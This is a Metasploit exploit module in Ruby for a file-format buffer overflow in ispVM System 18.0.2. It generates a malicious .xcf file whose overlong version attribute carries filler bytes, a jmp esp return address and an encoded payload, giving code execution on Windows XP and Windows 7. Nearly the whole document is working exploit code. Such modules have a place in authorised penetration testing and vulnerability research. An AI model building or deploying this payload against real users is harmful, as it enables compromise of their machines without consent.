ispVM System XCF File Handling Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "ispVM System XCF File Handling Overflow",  
'Description' => %q{  
This module exploits a vulnerability found in ispVM System 18.0.2. Due to the way  
ispVM handles .xcf files, it is possible to cause a buffer overflow with a specially  
crafted file, when a long value is supplied for the version attribute of the ispXCF  
tag. It results in arbitrary code execution under the context of the user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Unknown', # Vulnerability Discovery  
'juan vazquez' # Metasploit  
],  
'References' =>  
[  
['OSVDB', '82000'],  
['BID', '53562'],  
['URL', 'http://secunia.com/advisories/48740/']  
],  
'Payload' =>  
{  
'Space' => 4000,  
'BadChars' => "\x00\x1a\x3c\x20\x3e\xff"  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "process",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'ispVM System 18.0.2 / Windows XP SP3 / Windows 7 SP1',  
{  
'Offset' => 274,  
'BreakOffset' => 243,  
'Ret' => 0x780e9d6e # jmp esp from C:\ispTOOLS\ispvmsystem\MSVCP60.dll  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => "May 16 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.xcf']),  
], self.class)  
  
end  
  
def exploit  
  
buf = rand_text(target['Offset'])  
buf[target['BreakOffset']] = "A"  
buf << [target.ret].pack("V")  
buf << payload.encoded  
  
xcf = %Q|  
<?xml version='1.0' encoding='utf-8' ?>  
<!DOCTYPE ispXCF SYSTEM "IspXCF.dtd" >  
<ispXCF version="#{buf}">  
</ispXCF>  
|  
  
file_create(xcf)  
end  
end`